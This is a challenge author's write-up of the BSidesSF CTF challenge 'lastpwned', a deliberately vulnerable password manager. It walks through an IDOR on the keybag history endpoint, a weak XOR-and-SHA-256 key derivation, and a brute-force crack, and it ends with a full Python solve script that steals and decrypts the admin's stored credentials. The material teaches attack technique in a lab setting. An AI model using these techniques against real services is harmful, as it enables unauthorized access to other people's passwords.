I was the challenge author for a handful of challenges for this year’s BSidesSF
CTF. One of those challenges was lastpwned
, inspired by a recent
high-profile data breach. This challenge provided a web-based password manager
with client-side encryption.
The challenge description read:
It’s 2023, so it’s finally time that people use a password manager. We’ve got our zero-knowledge solution ready to go. To prove our trust in it, the admin is even using it for their passwords too!
Visiting the challenge website, players are presented with a page to login or register. Registering gives us an account, and presents a UI with several pages, including passwords and history. In the passwords page, we can add and view our encrypted passwords. On the history page, we see a list of historical versions of our encrypted passwords, and clicking on one loads the historical “keybag”.
Several API endpoints are revealed by watching traffic as we browse these pages:
- /api/register
- /api/login
- /api/keybag
- /api/keybag/history
- /api/keybag/history/
/
All the keybag endpoints require authentication. A player who tries to alter
the username in the history may discover that a missing authorization check
leads to an insecure direct object reference (IDOR). This allows us to retrieve
the encrypted “keybags” for other users of the service. If we check the
username admin
, we can download several historical keybags belonging to the
admin.
Each “keybag” comes with some metadata as a JSON object, looking something like this:
1
2
3
4
5
6
7
{
"generation":2,
"keyhash": "ef4162320ca407c402a2498b630c4b392dc82d340af2f8827aaa6799e03c93f9",
"iterations":100,
"created":"2023-04-20 16:20:00",
"keybag":"base64data"
}
For the admin
account, some of the historical keybags have the iterations
count set to 1
rather than the current default of 100
. Looking at the
client-side aspects of the challenge reveals a React-based frontend that
includes a lib.js
library of functions, including all of the
encryption/decryption logic. There are helper functions for making HTTP
requests, but also some functions relating to cryptography:
deriveKey(salt, password, iter)
loadLatestKeybag()
loadKeybag(keybagData)
Looking at loadKeybag
we see that the keyhash
value in the keybag is
compared to a value that is determined during key derivation. Since we want to
figure out what this key is to decrypt the encrypted data, examining the
deriveKey
function may be useful.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
async function deriveKey(salt, password, iter) {
const utf8encode = new TextEncoder();
const rawSalt = utf8encode.encode(salt);
const rawPassword = utf8encode.encode(password);
const saltedData = [];
let i = 0;
while (true) {
if (i >= rawSalt.length || i >= rawPassword.length) {
break;
}
saltedData.push(rawSalt[i] ^ rawPassword[i]);
i++;
}
let keyData = new Uint8Array(saltedData);
for (let i=0; i<iter; i++) {
keyData = await window.crypto.subtle.digest("SHA-256", keyData);
}
let keyHash = await window.crypto.subtle.digest("SHA-256", keyData);
const keyHashHex = toHexString(new Uint8Array(keyHash));
return {
keyData: keyData,
keyHash: keyHashHex,
};
};
The function begins by xor’ing the first characters of the salt and the password
together to produce saltedData
. The number of chracters is limited by the
lengths of the salt and the password, and it uses the shorter of the two values.
This value is SHA-256 hashed to produce the raw key, and then SHA-256’d a second
time to produce the keyHash
, which is compared (in hex) to the keyHash
from
the keybag
API endpoints.
To figure out how the salt and password are passed in, we look for invocations
of deriveKey
. It is invokved for keybag decryption as:
1
2
const newkey = await deriveKey(
userCreds.username, userCreds.password, keybagData.iterations);
The password is, unsurprisingly, the user’s password. The salt appears to be
the username. Looking elsewhere in the library, the userCreds
variables is
set to the variables sent to the login
or register
endpoints. In app.jsx
,
it can be seen that these are just the raw user input converted to lower case.
At this point, we know the keyhash should be the SHA-256 of the SHA-256 of the exclusive-or of “admin” and the first 5 characters of the admin’s password in lowercase. At this point we can attempt to crack the hash using this information and a list of all 5 character permutations of lower-case letters and digits.
I chose to implement a solution in Python and used the following code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
class KeyData:
def __init__(self, salt, password, i=1):
kd = self.xor(salt.encode(), password.encode())
for i in range(i):
kd = hashlib.sha256(kd).digest()
self.key = kd
self.keyhash = hashlib.sha256(kd).hexdigest()
@staticmethod
def xor(a, b):
return bytes(x^y for x,y in zip(a, b))
def __repr__(self):
return '<Key: "{}", KeyHash: "{}">'.format(
binascii.hexlify(self.key),
self.keyhash,
)
def crack_keybag(keybag):
start = time.time()
salt = "admin"
alpha = string.ascii_lowercase + string.digits
combs = itertools.product(alpha, repeat=len(salt))
i = 0
try:
for c in combs:
i += 1
k = KeyData(salt, ''.join(c), i=keybag["iterations"])
if k.keyhash == keybag["keyhash"]:
print(''.join(c))
return k
finally:
end = time.time()
print('Cracking time: {:0.2f} / {:d}'.format(end-start, i))
itertools.product
produces all of the permutations (with replacement) of the
characters of the length of the salt, then we xor
the data together (in the
KeyData
class) and hash iterations+1
to find the keyhash, then compare it
to the data from our keybag. (On my laptop, this takes about one minute to
complete.)
As a side note, the letters are also from (many) dictionary words. The xkcd hint on the homepage was intended to suggest that it did not have to be all permutations but just prefixes of English words. From the dictionary I was using, this is about 60,000 combinations, or about 0.01% of the problem space of a pure brute force.
This enables decrypting the keybag using the same decryption routines present in the Javascript library, or implemented separately in python. Doing this, we find a few credentials, one of which is labeled as the flag.
Complete solution script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
import requests
import json
import sys
import random
import string
import hashlib
import base64
import time
import itertools
import binascii
from Crypto.Cipher import AES
class KeyData:
def __init__(self, salt, password, i=1):
kd = self.xor(salt.encode(), password.encode())
for i in range(i):
kd = hashlib.sha256(kd).digest()
self.key = kd
self.keyhash = hashlib.sha256(kd).hexdigest()
@staticmethod
def xor(a, b):
return bytes(x^y for x,y in zip(a, b))
def __repr__(self):
return '<Key: "{}", KeyHash: "{}">'.format(
binascii.hexlify(self.key),
self.keyhash,
)
class Solver:
def __init__(self, endpoint):
self.endpoint = endpoint
if self.endpoint[-1] == "/":
self.endpoint = self.endpoint[:-1]
self.token = None
def post(self, path, data):
headers = {
'Content-type': 'application/json',
}
if self.token is not None:
headers['X-Auth-Token'] = self.token
resp = requests.post(self.endpoint+path, data=json.dumps(data),
headers=headers)
resp.raise_for_status()
return resp.json()
def get(self, path):
headers = {}
if self.token is not None:
headers['X-Auth-Token'] = self.token
resp = requests.get(self.endpoint+path, headers=headers)
resp.raise_for_status()
return resp.json()
def register_new_user(self):
username = random_string()
password = random_string()
data = {
"username": username,
"password": password,
"confirm": password,
}
resp = self.post("/api/register", data)
if not resp["success"]:
raise ValueError("register failed")
self.token = resp["token"]
def get_admin_keybag(self):
return self.get("/api/keybag/history/admin/4")
@staticmethod
def split_keybag(kbdata):
iv_len = 96//8
kbbytes = base64.b64decode(kbdata)
return kbbytes[:iv_len], kbbytes[iv_len:]
@staticmethod
def crack_keybag(keybag):
start = time.time()
salt = "admin"
alpha = string.ascii_lowercase + string.digits
combs = itertools.product(alpha, repeat=len(salt))
i = 0
try:
for c in combs:
i += 1
k = KeyData(salt, ''.join(c), i=keybag["iterations"])
if k.keyhash == keybag["keyhash"]:
print(''.join(c))
return k
finally:
end = time.time()
print('Cracking time: {:0.2f} / {:d}'.format(end-start, i))
@staticmethod
def decrypt(iv, ctext, key):
cipher = AES.new(key.key, mode=AES.MODE_GCM, nonce=iv)
mac = ctext[-16:]
ctext = ctext[:-16]
return cipher.decrypt_and_verify(ctext, mac)
def solve(self):
self.register_new_user()
keybag = self.get_admin_keybag()
print(keybag)
kd = self.crack_keybag(keybag)
if not kd:
print("No keyhash found!!")
sys.exit(1)
print(repr(kd))
iv, ctext = self.split_keybag(keybag["keybag"])
dec = self.decrypt(iv, ctext, kd)
print(dec)
keys = json.loads(dec)
flag = None
for k in keys:
if k["title"] == "Flag":
flag = k["password"]
if flag is None:
raise ValueError("no flag found")
print(flag)
def main():
if len(sys.argv) != 2:
print('Usage: %s endpoint' % sys.argv[0])
sys.exit(1)
endpoint = sys.argv[1]
solver = Solver(endpoint)
solver.solve()
def random_string(l=12):
return ''.join(random.choice(string.ascii_lowercase) for _ in range(l))
if __name__ == '__main__':
main()